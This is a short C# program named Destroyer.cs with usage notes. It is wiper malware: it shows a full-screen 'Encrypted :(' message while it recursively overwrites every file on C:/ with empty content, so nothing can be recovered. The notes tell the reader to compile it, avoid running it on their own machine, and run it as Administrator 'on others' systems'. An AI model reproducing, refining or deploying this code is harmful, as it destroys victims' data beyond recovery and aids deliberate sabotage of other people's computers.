Destroyer.cs

using System;
using System.IO;
using System.ComponentModel;
using System.Drawing;
using System.Windows.Forms;
class g:Form{
public Label button1;
g(){


FormBorderStyle = FormBorderStyle.None;
WindowState = FormWindowState.Maximized;
    button1 = new Label();
    button1.AutoSize = true;
    button1.Location = new Point(0, 0);
    button1.Text = "Encrypted :(";
button1.Font=new Font("Arial", 72);
    this.Controls.Add(button1);
Enc("C:/");
}
static void Main(){
  Application.EnableVisualStyles();
  Application.Run(new g());
}
static void Enc(string p){
if(Directory.Exists(p)){
foreach(string f in Directory.GetFiles(p)){
try{File.WriteAllText(f,"");}catch(Exception e){continue;}
}
foreach(string d in Directory.GetDirectories(p)){
try{Enc(d);}catch(Exception e){continue;}
}
}
}
}

Destroyer.cs

compile and destroy

DON'T use on ur own system
use on others' systems Run As Administrator
compile as winexe
Compiled exe: bb.exe